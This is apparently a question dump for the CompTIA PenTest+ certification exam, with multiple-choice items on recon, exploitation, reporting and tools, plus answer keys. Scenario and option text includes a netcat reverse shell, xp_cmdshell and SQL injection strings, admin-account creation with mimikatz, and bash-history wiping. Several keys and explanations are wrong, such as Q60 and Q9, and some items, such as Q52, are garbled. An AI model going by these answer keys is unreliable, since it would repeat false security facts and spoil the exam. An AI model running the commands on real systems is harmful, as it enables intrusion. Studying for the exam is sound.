CompTIA

Exam Questions PT0-002

CompTIA PenTest+ Certification Exam

NEW QUESTION 1
A penetration tester opened a shell on a laptop at a client's office but is unable to pivot because of restrictive ACLs on the wireless subnet. The tester is also aware that all laptop users have a hard-wired connection available at their desks. Which of the following is the BEST method available to pivot and gain additional access to the network?

A. Set up a captive portal with embedded malicious code.
B. Capture handshakes from wireless clients to crack.
C. Span deauthentication packets to the wireless clients.
D. Set up another access point and perform an evil twin attack.

Answer: C

NEW QUESTION 2
Which of the following would assist a penetration tester the MOST when evaluating the susceptibility of top-level executives to social engineering attacks?

A. Scraping social media for personal details
B. Registering domain names that are similar to the target company's
C. Identifying technical contacts at the company
D. Crawling the company's website for company information

Answer: A

NEW QUESTION 3
Which of the following situations would require a penetration tester to notify the emergency contact for the engagement?

A. The team exploits a critical server within the organization.
B. The team exfiltrates PII or credit card data from the organization.
C. The team loses access to the network remotely.
D. The team discovers another actor on a system on the network.

Answer: D

NEW QUESTION 4
During an internal penetration test against a company, a penetration tester was able to navigate to another part of the network and locate a folder containing customer information such as addresses, phone numbers, and credit card numbers. To be PCI compliant, which of the following should the company have implemented to BEST protect this data?

A. Vulnerability scanning
B. Network segmentation
C. System hardening
D. Intrusion detection

Answer: B

NEW QUESTION 5
A penetration tester ran a simple Python-based scanner. The following is a snippet of the code:

```
…
<LINE NUM.>
<01> portlist: list[int] = [*range(1, 1025)]
<02> try:
<03>    port: object
<04>    resultList: list[Any] = []
<05>    for port in portList:
<06>      sock = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
<07>      sock.settimeout(20)
<08>      result = sock.connect_ex((remoteSvr, port))
<09>      if result == 0:
<10>           resultList.append(port)
<11>      sock.close()
…
```

Which of the following BEST describes why this script triggered a `probable port scan` alert in the organization's IDS?

A. sock.settimeout(20) on line 7 caused each next socket to be created every 20 milliseconds.
B. *range(1, 1025) on line 1 populated the portList list in numerical order.
C. Line 6 uses socket.SOCK_STREAM instead of socket.SOCK_DGRAM
D. The remoteSvr variable has neither been type-hinted nor initialized.

Answer: B

Explanation:
Port randomization is widely used in port scanners. By default, Nmap randomizes the scanned port order (except that certain commonly accessible ports are moved near the beginning for efficiency reasons) https://nmap.org/book/man-port-specification.html

NEW QUESTION 6

A company has recruited a penetration tester to conduct a vulnerability scan over the network. The test is confirmed to be on a known environment. Which of the following would be the BEST option to identify a system properly prior to performing the assessment?

A. Asset inventory
B. DNS records
C. Web-application scan
D. Full scan

Answer: A

NEW QUESTION 7
Which of the following concepts defines the specific set of steps and approaches that are conducted during a penetration test?

A. Scope details
B. Findings
C. Methodology
D. Statement of work

Answer: C

NEW QUESTION 8
A penetration tester is explaining the MITRE ATT&CK framework to a company's chief legal counsel. Which of the following would the tester MOST likely describe as a benefit of the framework?

A. Understanding the tactics of a security intrusion can help disrupt them.
B. Scripts that are part of the framework can be imported directly into SIEM tools.
C. The methodology can be used to estimate the cost of an incident better.
D. The framework is static and ensures stability of a security program overtime.

Answer: A

NEW QUESTION 9
A penetration tester has obtained shell access to a Windows host and wants to run a specially crafted binary for later execution using the wmic.exe process call create function. Which of the following OS or filesystem mechanisms is MOST likely to support this objective?

A. Alternate data streams
B. PowerShell modules
C. MP4 steganography
D. PsExec

Answer: B

Explanation:
"Windows Management Instrumentation (WMI) is a subsystem of PowerShell that gives admins access to powerful system monitoring tools."

NEW QUESTION 10
An assessor wants to run an Nmap scan as quietly as possible. Which of the following commands will give the LEAST chance of detection?

A. nmap -"T3 192.168.0.1
B. nmap - "P0 192.168.0.1
C. nmap - T0 192.168.0.1
D. nmap - A 192.168.0.1

Answer: C

NEW QUESTION 10
A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server. Which of the following can be done with the pcap to gain access to the server?

A. Perform vertical privilege escalation.
B. Replay the captured traffic to the server to recreate the session.
C. Use John the Ripper to crack the password.
D. Utilize a pass-the-hash attack.

Answer: D

NEW QUESTION 11
A penetration tester received a 16-bit network block that was scoped for an assessment. During the assessment, the tester realized no hosts were active in the provided block of IPs and reported this to the company. The company then provided an updated block of IPs to the tester. Which of the following would be the most appropriate NEXT step?

A. Terminate the contract.
B. Update the ROE with new signature
C. Most Voted
D. Scan the 8-bit block to map additional missed hosts.
E. Continue the assessment.

Answer: B

NEW QUESTION 13
Which of the following tools would BEST allow a penetration tester to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine?

A. Wireshark
B. EAPHammer
C. Kismet
D. Aircrack-ng

Answer: D

Explanation:
The BEST tool to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine is Aircrack-ng. Aircrack-ng is a suite of tools used to assess the security of wireless networks. It starts by capturing wireless network packets [1], then attempts to crack the network password by analyzing them [1]. Aircrack-ng supports FMS, PTW, and other attack types, and can also be used to generate keystreams for
WEP and WPA-PSK encryption. It is capable of running on Windows, Linux, and Mac OS X.
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NEW QUESTION 17
A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog:
http://company.com/catalog.asp?productid=22
The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:
http://company.com/catalog.asp?productid=22;WAITFOR
DELAY '00:00:05'
Which of the following should the penetration tester attempt NEXT?

A. http://company.com/catalog.asp?productid=22:EXEC xp_cmdshell 'whoami'
B. http://company.com/catalog.asp?productid=22' OR 1=1 -
C. http://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 -
D. http://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444 -e /bin/bash

Answer: C

Explanation:
This URL will attempt a SQL injection attack using a UNION operator to combine the results of two queries into one table. The attacker can use this technique to retrieve data from other tables in the database that are not normally accessible through the web application.

NEW QUESTION 22
Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:

A. devices produce more heat and consume more power.
B. devices are obsolete and are no longer available for replacement.
C. protocols are more difficult to understand.
D. devices may cause physical world effects.

Answer: D

Explanation:
"A significant issue identified by Wiberg is that using active network scanners, such as Nmap, presents a weakness when attempting port recognition or service detection on SCADA devices. Wiberg states that active tools such as Nmap can use unusual TCP segment data to try and find available ports. Furthermore, they can open a massive amount of connections with a specific SCADA device but then fail to close them gracefully." And since SCADA and ICS devices are designed and implemented with little attention having been paid to the operational security of these devices and their ability to handle errors or unexpected events, the presence idle open connections may result into errors that cannot be handled by the devices.

NEW QUESTION 25
A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables.
Which of the following should be included as a recommendation in the remediation report?

A. Stronger algorithmic requirements
B. Access controls on the server
C. Encryption on the user passwords
D. A patch management program

Answer: A

NEW QUESTION 28
A penetration tester needs to upload the results of a port scan to a centralized security tool. Which of the following commands would allow the tester to save the results in an interchangeable format?

A. nmap -iL results 192.168.0.10-100
B. nmap 192.168.0.10-100 -O > results
C. nmap -A 192.168.0.10-100 -oX results
D. nmap 192.168.0.10-100 | grep "results"

Answer: C

NEW QUESTION 32
A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are:

```
https://xx.xx.xx.x/vpn/../vpns/portal/scripts/newbm.pl
https://xx.xx.xx.x/vpn/../vpns/portal/scripts/rmbm.pl
https://xx.xx.xx.x/vpn/../vpns/portal/scripts/pikctheme.pl
https://xx.xx.xx.x/vpn/../vpns/cfg/smb.conf
```

Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

A. Edit the discovered file with one line of code for remote callback
B. Download .pl files and look for usernames and passwords
C. Edit the smb.conf file and upload it to the server
D. Download the smb.conf file and look at configurations

Answer: C

NEW QUESTION 33
A penetration tester ran the following commands on a Windows server:

```
schtasks
echo net user svsaccount password /add >> batchjopb3.bat
echo net localgroup Administrators svsaccount /add >> batchjopb3.bat
net user svsaccount
runas /user:svsaccount mimikatz
```

Which of the following should the tester do AFTER delivering the final report?

A. Delete the scheduled batch job.
B. Close the reverse shell connection.
C. Downgrade the svsaccount permissions.
D. Remove the tester-created credentials.

Answer: D

NEW QUESTION 37
A penetration tester initiated the transfer of a large data set to verify a proof-of-concept attack as permitted by the ROE. The tester noticed the client's data included PII, which is out of scope, and immediately stopped the transfer. Which of the following MOST likely explains the penetration tester's decision?

A. The tester had the situational awareness to stop the transfer.
B. The tester found evidence of prior compromise within the data set.
C. The tester completed the assigned part of the assessment workflow.
D. The tester reached the end of the assessment time frame.

Answer: A

NEW QUESTION 41
A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective?

A. Wait for the next login and perform a downgrade attack on the server.
B. Capture traffic using Wireshark.
C. Perform a brute-force attack over the server.
D. Use an FTP exploit against the server.

Answer: B

NEW QUESTION 44
A penetration tester has gained access to part of an internal network and wants to exploit on a different network segment. Using Scapy, the tester runs the following command:

```
sendp(Ether()/dotlq(vlan=100)/dotq(vlan=50)/IP(dst="172.16.50.10")/ICMP())
```

Which of the following represents what the penetration tester is attempting to accomplish?

A. DNS cache poisoning
B. MAC spoofing
C. ARP poisoning
D. Double-tagging attack

Answer: D

Explanation:
https://scapy.readthedocs.io/en/latest/usage.html

NEW QUESTION 47
Which of the following protocols or technologies would provide in-transit confidentiality protection for emailing the final security assessment report?

A. S/MIME
B. FTPS
C. DNSSEC
D. AS2

Answer: A

NEW QUESTION 52
An assessor wants to use Nmap to help map out a stateful firewall rule set. Which of the following scans will the assessor MOST likely run?

A. nmap 192.168.0.1/24
B. nmap 192.168.0.1/24
C. nmap oG 192.168.0.1/24
D. nmap 192.168.0.1/24

Answer: A

NEW QUESTION 57
Which of the following is the MOST common vulnerability associated with IoT devices that are directly connected to the Internet?

A. Unsupported operating systems
B. Susceptibility to DDoS attacks
C. Inability to network
D. The existence of default passwords

Answer: A

NEW QUESTION 60
A penetration tester created the following script to use in an engagement:

```
#!/usr/bin/python

import socket

ports = [21,22,23,25,80,139,443,445,3306,3389]

if len(sys.argv) == 2:
        target = socket.gethostbyname(sys.argv[1])
else:
        print("Few arguments.")
        print("Syntax: python {} <>".format(sys.argv[0]))
        sys.exit()


try:
        for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        result = s.connect_ex((target,port))
        if result == 0:
                print("Port {} is opened".format(port))

except KeyboardInterrupt:
        print("Exiting...")
        sys.exit()
```

However, the tester is receiving the following error when trying to run the script:

```
$ python script.py 192.168.0.1
Traceback (most recent call last):
   File "script.py", line 7, in <module>
     if len(sys.argv) == 2:
NameError: name 'sys' is not defined
```

Which of the following is the reason for the error?

A. The sys variable was not defined.
B. The argv variable was not defined.
C. The sys module was not imported.
D. The argv module was not imported.

Answer: A

NEW QUESTION 63
A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions?

A. Aircrack-ng
B. Wireshark
C. Wifite
D. Kismet

Answer: A

NEW QUESTION 68
During an assessment, a penetration tester manages to exploit an LFI vulnerability and browse the web log for a target Apache server. Which of the following steps would the penetration tester most likely try NEXT to further exploit the web server? (Choose two.)

A. Cross-site scripting
B. Server-side request forgery
C. SQL injection
D. Log poisoning
E. Cross-site request forgery
F. Command injection

Answer: DF

Explanation:
Local File Inclusion (LFI) is a web vulnerability that allows an attacker to include files on a server through the web browser. This can expose sensitive information or lead to remote code execution.
Some possible next steps that a penetration tester can try after exploiting an LFI vulnerability are:

- Log poisoning: This involves injecting malicious code into the web server's log files and then including them via LFI to execute the code34.
- PHP wrappers: These are special streams that can be used to manipulate files or data via LFI. For example, php://input can be used to pass arbitrary data to an LFI script, or php://filter can be used to encode or decode files5.

NEW QUESTION 73
A security analyst needs to perform an on-path attack on BLE smart devices. Which of the following tools would be BEST suited to accomplish this task?

A. Wireshark
B. Gattacker
C. tcpdump
D. Netcat

Answer: B

Explanation:
The best tool for performing an on-path attack on BLE smart devices is Gattacker. Gattacker is a Bluetooth Low Energy (BLE) pentesting and fuzzing framework specifically designed for on-path attacks. It allows security analysts to perform a variety of tasks, including man-in-the-middle attacks, passive and active scans, fuzzing of BLE services, and more. Gattacker also provides an interactive command-line interface that makes it easy to interact with the target BLE device and execute various commands.

NEW QUESTION 76
A company uses a cloud provider with shared network bandwidth to host a web application on dedicated servers. The company's contact with the cloud provider prevents any activities that would interfere with the cloud provider's other customers. When engaging with a penetration-testing company to test the application, which of the following should the company avoid?

A. Crawling the web application's URLs looking for vulnerabilities
B. Fingerprinting all the IP addresses of the application's servers
C. Brute forcing the application's passwords
D. Sending many web requests per second to test DDoS protection

Answer: D

NEW QUESTION 77
A penetration tester writes the following script:

```
#!/bin/bash
for x in 'seq 1 254'; do
        ping -c 1 10.10.1.$x;
done
```

Which of the following objectives is the tester attempting to achieve?

A. Determine active hosts on the network.
B. Set the TTL of ping packets for stealth.
C. Fill the ARP table of the networked devices.
D. Scan the system on the most used ports.

Answer: A

NEW QUESTION 82
A private investigation firm is requesting a penetration test to determine the likelihood that attackers can gain access to mobile devices and then exfiltrate data from those devices. Which of the following is a
social-engineering method that, if successful, would MOST likely enable both objectives?

A. Send an SMS with a spoofed service number including a link to download a malicious application.
B. Exploit a vulnerability in the MDM and create a new account and device profile.
C. Perform vishing on the IT help desk to gather a list of approved device IMEIs for masquerading.
D. Infest a website that is often used by employees with malware targeted toward x86 architectures.

Answer: A

Explanation:
Since it doesn't indicate company owned devices, sending a text to download an application is best. And it says social-engineering so a spoofed text falls under that area.

NEW QUESTION 85
A company's Chief Executive Officer has created a secondary home office and is concerned that the WiFi service being used is vulnerable to an attack. A penetration tester is hired to test the security of the WiFi's router.
Which of the following is MOST vulnerable to a brute-force attack?

A. WPS
B. WPA2-EAP
C. WPA-TKIP
D. WPA2-PSK

Answer: A

NEW QUESTION 87
A penetration tester utilized Nmap to scan host 64.13.134.52 and received the following results:

```
# nmap -T4 -v -oG - scanme.nmap.org
# Nmap 5.35DC18 scan initiated [time] as: nmap -T4 -A -v -cG -
scanme.nmap.org
# Ports scanned: TCP(1000;1, 3-4, 6-7, …,,65389) UDP (0;) PROTOCOLS(0;)
Host: 64.13.134.52 (scanme.nmap.org)  Status: Up
Host: 64.13.134.52 (scanme.nmap.org)
Ports:
22/open/tcp
25/closed/tcp
53/open/tcp
70/closed/tcp
80/open/tcp
113/closed/tcp
31337/closed/tcp
Ignored State: filtered (993) OS: Linux 2.6.13 - 2.6.31 Seq Index: 204 IP ID
Seq: All zeros
# Nmap done at [time] -- 1 IP address (1 host up) scanned in 21.90 seconds
```

Based on the output, which of the following services are MOST likely to be exploited? (Choose two.)
A. Telnet
B. HTTP
C. SMTP
D. DNS
E. NTP
F. SNMP

Answer: BD

NEW QUESTION 88
Which of the following would MOST likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience?

A. Executive summary of the penetration-testing methods used
B. Bill of materials including supplies, subcontracts, and costs incurred during assessment
C. Quantitative impact assessments given a successful software compromise
D. Code context for instances of unsafe type-casting operations

Answer: D

NEW QUESTION 90
A penetration tester conducted an assessment on a web server. The logs from this session show the following:
http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ' ; DROP TABLE SERVICES; -
Which of the following attacks is being attempted?

A. Clickjacking
B. Session hijacking
C. Parameter pollution
D. Cookie hijacking
E. Cross-site scripting

Answer: C

NEW QUESTION 92
A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

```
if(isset ($_POST ['item'])){
        echo shell_exec ("/http/www/cgi-bin/queryitem ".$_POST ['item']);
}
```

Which of the following combinations of tools would the penetration tester use to exploit this script?

A. Hydra and crunch
B. Netcat and cURL
C. Burp Suite and DIRB
D. Nmap and OWASP ZAP

Answer: B

NEW QUESTION 97
Which of the following assessment methods is MOST likely to cause harm to an ICS environment?

A. Active scanning
B. Ping sweep
C. Protocol reversing
D. Packet analysis

Answer: A

NEW QUESTION 98
During a web application test, a penetration tester was able to navigate to https://company.com and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser: unauthorized to view this page. Which of the following BEST explains what occurred?

A. The SSL certificates were invalid.
B. The tester IP was blocked.
C. The scanner crashed the system.
D. The web page was not found.

Answer: B

NEW QUESTION 100
PCI DSS requires which of the following as part of the penetration-testing process?

A. The penetration tester must have cybersecurity certifications.
B. The network must be segmented.
C. Only externally facing systems should be tested.
D. The assessment must be performed during non-working hours.

Answer: B

NEW QUESTION 101
A company is concerned that its cloud service provider is not adequately protecting the VMs housing its software development. The VMs are housed in a datacenter with other companies sharing physical resources. Which of the following attack types is MOST concerning to the company?

A. Data flooding
B. Session riding
C. Cybersquatting
D. Side channel

Answer: D

Explanation:
https://www.techtarget.com/searchsecurity/definition/side-channel-attack#:~:text=Side%2Dchannel%20attacks%

NEW QUESTION 104
A penetration tester ran a ping –A command during an unknown environment test, and it returned a 128 TTL packet. Which of the following OSs would MOST likely return a packet of this type?

A. Windows
B. Apple

C. Linux
D. Android

Answer: A

NEW QUESTION 107
A penetration tester is examining a Class C network to identify active systems quickly. Which of the following commands should the penetration tester use?

A. nmap sn 192.168.0.1/16
B. nmap sn 192.168.0.1-254
C. nmap sn 192.168.0.1 192.168.0.1.254
D. nmap sN 192.168.0.0/24

Answer: B

NEW QUESTION 110
A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to:

- Have a full TCP connection
- Send a “hello” payload
- Walt for a response
- Send a string of characters longer than 16 bytes

Which of the following approaches would BEST support the objective?

A. Run nmap –Pn –sV –script vuln <IP address>.
B. Employ an OpenVAS simple scan against the TCP port of the host.
C. Create a script in the Lua language and use it with NSE.
D. Perform a credentialed scan with Nessus.

Answer: C

Explanation:
The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts (using the Lua programming language) to automate a wide variety of networking tasks. https://nmap.org

NEW QUESTION 114
A company that developers embedded software for the automobile industry has hired a penetration-testing team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse- engineering team prior to approval of the subcontract. Which of the following concerns would BEST support the software company’s request?

A. The reverse-engineering team may have a history of selling exploits to third parties.
B. The reverse-engineering team may use closed-source or other non-public information feeds for its analysis.
C. The reverse-engineering team may not instill safety protocols sufficient for the automobile industry.
D. The reverse-engineering team will be given access to source code for analysis.

Answer: A

NEW QUESTION 115
A security firm has been hired to perform an external penetration test against a company. The only information the firm received was the company name. Which of the following passive reconnaissance approaches would be MOST likely to yield positive initial results?

A. Specially craft and deploy phishing emails to key company leaders.
B. Run a vulnerability scan against the company's external website.
C. Runtime the company's vendor/supply chain.
D. Scrape web presences and social-networking sites.

Answer: D

NEW QUESTION 117
A penetration tester obtained the following results after scanning a web server using the dirb utility:
...
GENERATED WORDS: 4612

Scanning URL: http://10.2.10.13/ ---
+
http://10.2.10.13/about (CODE:200|SIZE:1520)
+
http://10.2.10.13/home.html (CODE:200|SIZE:214)
+
http://10.2.10.13/index.html (CODE:200|SIZE:214)
+
http://10.2.10.13/info (CODE:200|SIZE:214)
...
DOWNLOADED: 4612 – FOUND: 4
Which of the following elements is MOST likely to contain useful information for the penetration tester?

A. index.html
B. about
C. info
D. home.html

Answer: B

NEW QUESTION 120
A penetration tester attempted a DNS poisoning attack. After the attempt, no traffic was seen from the target machine. Which of the following MOST likely caused the attack to fail?

A. The injection was too slow.
B. The DNS information was incorrect.
C. The DNS cache was not refreshed.
D. The client did not receive a trusted response.

Answer: C

NEW QUESTION 125
A penetration tester is conducting an assessment against a group of publicly available web servers and notices a number of TCP resets returning from one of the web servers. Which of the following is MOST likely causing the TCP resets to occur during the assessment?

A. The web server is using a WAF.
B. The web server is behind a load balancer.
C. The web server is redirecting the requests.
D. The local antivirus on the web server Is rejecting the connection.

Answer: A

Explanation:
A Web Application Firewall (WAF) is designed to monitor, filter or block traffic to a web application. A WAF will monitor incoming and outgoing traffic from a web application and is often used to protect web servers from attacks such as SQL Injection, Cross-Site Scripting (XSS), and other forms of attacks. If a WAF detects an attack, it will often reset the TCP connection, causing the connection to be terminated. As a result, a penetration tester may see TCP resets when a WAF is present. Therefore, the most likely reason for the TCP resets returning from the web server is that the web server is using a WAF.

NEW QUESTION 130
A penetration tester has completed an analysis of the various software products produced by the company under assessment. The tester found that over the past several years the company has been including vulnerable third-party modules in multiple products, even though the quality of the organic code being developed is very good. Which of the following recommendations should the penetration tester include in the report?

A. Add a dependency checker into the tool chain.
B. Perform routine static and dynamic analysis of committed code.
C. Validate API security settings before deployment.
D. Perform fuzz testing of compiled binaries.

Answer: A

NEW QUESTION 132
A penetration tester found several critical SQL injection vulnerabilities during an assessment of a client's system. The tester would like to suggest mitigation to the client as soon as possible.
Which of the following remediation techniques would be the BEST to recommend? (Choose two.)

A. Closing open services
B. Encryption users' passwords
C. Randomizing users' credentials
D. Users' input validation
E. Parameterized queries
F. Output encoding

Answer: DE

NEW QUESTION 134
A penetration tester wants to find hidden information in documents available on the web at a particular domain. Which of the following should the penetration tester use?

A. Netcraft
B. CentralOps
C. Responder
D. FOCA

Answer: D

Explanation:
https://kalilinuxtutorials.com/foca-metadata-hidden-documents/

NEW QUESTION 139

The results of an Nmap scan are as follows:
Starting Nmap 7.80 (https://nmap.org) at 2021-01-24 01:10 EST
Nmap scan report for (10.2.1.22) Host is up (0.0102s latency).
Not shown: 998 filtered ports Port State Service
80/tcp open http
|_http-title: 80F 22% RH 1009.1MB (text/html)
|_http-slowloris-check:
| VULNERABLE:
| Slowloris DoS Attack
| <..>
Device type: bridge|general purpose
Running (JUST GUESSING) : QEMU (95%)
OS CPE: cpe:/a:qemu:qemu
No exact OS matches found for host (test conditions non-ideal).
OS detection performed. Please report any incorrect results at https://nmap.org/submit/. Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds
Which of the following device types will MOST likely have a similar response? (Choose two.)

A. Network device
B. Public-facing web server
C. Active Directory domain controller
D. IoT/embedded device
E. Exposed RDP
F. Print queue

Answer: BD

Explanation:
https://www.netscout.com/what-is-ddos/slowloris-attacks
From the http-title in the output, this looks like an IoT device with RH implying Relative Humidity, that offers a web-based interface for visualizing the results.

NEW QUESTION 141
A penetration tester wants to test a list of common passwords against the SSH daemon on a network device. Which of the following tools would be BEST to use for this purpose?

A. Hashcat
B. Mimikatz
C. Patator
D. John the Ripper

Answer: C

Explanation:
https://www.kali.org/tools/patator/

NEW QUESTION 142
A red team completed an engagement and provided the following example in the report to describe how the team gained access to a web server:
x' OR role LIKE '%admin%
Which of the following should be recommended to remediate this vulnerability?

A. Multifactor authentication
B. Encrypted communications
C. Secure software development life cycle
D. Parameterized queries

Answer: D

NEW QUESTION 144
A penetration tester needs to perform a test on a finance system that is PCI DSS v3.2.1 compliant. Which of the following is the MINIMUM frequency to complete the scan of the system?

A. Weekly
B. Monthly
C. Quarterly
D. Annually

Answer: C

Explanation:
https://www.pcicomplianceguide.org/faq/#25
PCI DSS requires quarterly vulnerability/penetration tests, not weekly.

NEW QUESTION 147
In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name-serial_number>. Which of the following would be the best action for the tester to take NEXT with this information?

A. Create a custom password dictionary as preparation for password spray testing.
B. Recommend using a password manage/vault instead of text files to store passwords securely.
C. Recommend configuring password complexity rules in all the systems and applications.

D. Document the unprotected file repository as a finding in the penetration-testing report.

Answer: D

NEW QUESTION 149
A client would like to have a penetration test performed that leverages a continuously updated TTPs framework and covers a wide variety of enterprise systems and networks. Which of the following methodologies should be used to BEST meet the client's expectations?

A. OWASP Top 10
B. MITRE ATT&CK framework
C. NIST Cybersecurity Framework
D. The Diamond Model of Intrusion Analysis

Answer: B

NEW QUESTION 150
A penetration-testing team is conducting a physical penetration test to gain entry to a building. Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?

A. As backup in case the original documents are lost
B. To guide them through the building entrances
C. To validate the billing information with the client
D. As proof in case they are discovered

Answer: D

NEW QUESTION 151
A penetration tester runs the following command on a system:
find / -user root –perm -4000 –print 2>/dev/null
Which of the following is the tester trying to accomplish?

A. Set the SGID on all files in the / directory
B. Find the /root directory on the system
C. Find files with the SUID bit set
D. Find files that were created during exploitation and move them to /dev/null

Answer: C

Explanation:
the 2>/dev/null is output redirection, it simply sends all the error messages to infinity and beyond preventing any error messages to appear in the terminal session.

NEW QUESTION 156
A penetration tester discovered that a client uses cloud mail as the company's email system. During the penetration test, the tester set up a fake cloud mail login page and sent all company employees an email that stated their inboxes were full and directed them to the fake login page to remedy the issue. Which of the following BEST describes this attack?

A. Credential harvesting
B. Privilege escalation
C. Password spraying
D. Domain record abuse

Answer: A

NEW QUESTION 160
An exploit developer is coding a script that submits a very large number of small requests to a web server until the server is compromised. The script must examine each response received and compare the data to a large number of strings to determine which data to submit next. Which of the following data structures should the exploit developer use to make the string comparison and determination as efficient as possible?

A. A list
B. A tree
C. A dictionary
D. An array

Answer: C

Explanation:
data structures are used to store data in an organized form, and some data structures are more efficient and suitable for certain operations than others. For example, hash tables, skip lists and jump lists are some dictionary data structures that can insert and access elements efficiently3.
For string comparison, there are different algorithms that can measure how similar two strings are, such as Levenshtein distance, Hamming distance or Jaccard similarity4. Some of these algorithms can be implemented using data structures such as arrays or hashtables5.

NEW QUESTION 162
A penetration tester gains access to a system and establishes persistence, and then runs the following commands:
cat /dev/null > temp
touch –r .bash_history temp mv temp .bash_history
Which of the following actions is the tester MOST likely performing?

A. Redirecting Bash history to /dev/null
B. Making a copy of the user's Bash history for further enumeration
C. Covering tracks by clearing the Bash history
D. Making decoy files on the system to confuse incident responders

Answer: C

NEW QUESTION 163
Which of the following is a rules engine for managing public cloud accounts and resources?

A. Cloud Custodian
B. Cloud Brute
C. Pacu
D. Scout Suite

Answer: A

Explanation:
Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to define policies to enable a well managed cloud infrastructure, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.

NEW QUESTION 168
A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?

A. A signed statement of work
B. The correct user accounts and associated passwords
C. The expected time frame of the assessment
D. The proper emergency contacts for the client

Answer: D

NEW QUESTION 173
A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen. A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client's VM. Which of the following cloud attacks did the penetration tester MOST likely implement?

A. Direct-to-origin
B. Cross-site scripting
C. Malware injection
D. Credential harvesting

Answer: D

NEW QUESTION 178
A red-team tester has been contracted to emulate the threat posed by a malicious insider on a company’s network, with the constrained objective of gaining access to sensitive personnel files. During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target environment.
Which of the following actions should the tester take?

A. Perform forensic analysis to isolate the means of compromise and determine attribution.
B. Incorporate the newly identified method of compromise into the red team’s approach.
C. Create a detailed document of findings before continuing with the assessment.
D. Halt the assessment and follow the reporting procedures as outlined in the contract.

Answer: D

NEW QUESTION 179
A company hired a penetration tester to do a social-engineering test against its employees. Although the tester did not find any employees’ phone numbers on the company’s website, the tester has learned the complete phone catalog was published there a few months ago.
In which of the following places should the penetration tester look FIRST for the employees’ numbers?

A. Web archive
B. GitHub
C. File metadata
D. Underground forums

Answer: A

NEW QUESTION 183
A software company has hired a security consultant to assess the security of the company's software development practices. The consultant opts to begin reconnaissance by performing fuzzing on a software binary. Which of the following vulnerabilities is the security consultant MOST likely to identify?

A. Weak authentication schemes
B. Credentials stored in strings

C. Buffer overflows
D. Non-optimized resource management

Answer: C

Explanation:
fuzzing introduces unexpected inputs into a system and watches to see if the system has any negative reactions to the inputs that indicate security, performance, or quality gaps or issues

NEW QUESTION 187
Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff?

A. A quick description of the vulnerability and a high-level control to fix it
B. Information regarding the business impact if compromised
C. The executive summary and information regarding the testing company
D. The rules of engagement from the assessment

Answer: A

Explanation:
The systems administrator and the technical stuff would be more interested in the technical aspect of the findings

NEW QUESTION 192
A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?

A. Create a one-shot system service to establish a reverse shell.
B. Obtain /etc/shadow and brute force the root password.
C. Run the nc -e /bin/sh <...> command.
D. Move laterally to create a user account on LDAP

Answer: A

Explanation:
https://hosakacorp.net/p/systemd-user.html

NEW QUESTION 193
A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:
• The following request was intercepted going to the network device: GET /login HTTP/1.1
Host: 10.50.100.16
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Authorization: Basic WU9VUilOQU1FOnNlY3JldHBhc3N3b3jk
• Network management interfaces are available on the production network.
• An Nmap scan returned the following:

```
Port       State      Service    Version
22/tcp     open       ssh        Cisco SSH 1.25 (protocol 2.0
80/tcp     open       http       Cisco IOS http config
|_https-title: Did not follow redirect to https://10.50.100.16
443/tcp    open       https      Cisco IOS https config
```

Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

A. Enforce enhanced password complexity requirements.
B. Disable or upgrade SSH daemon.
C. Disable HTTP/301 redirect configuration.
D. Create an out-of-band network for management.
E. Implement a better method for authentication.
F. Eliminate network management and control interfaces.

Answer: CD

NEW QUESTION 198
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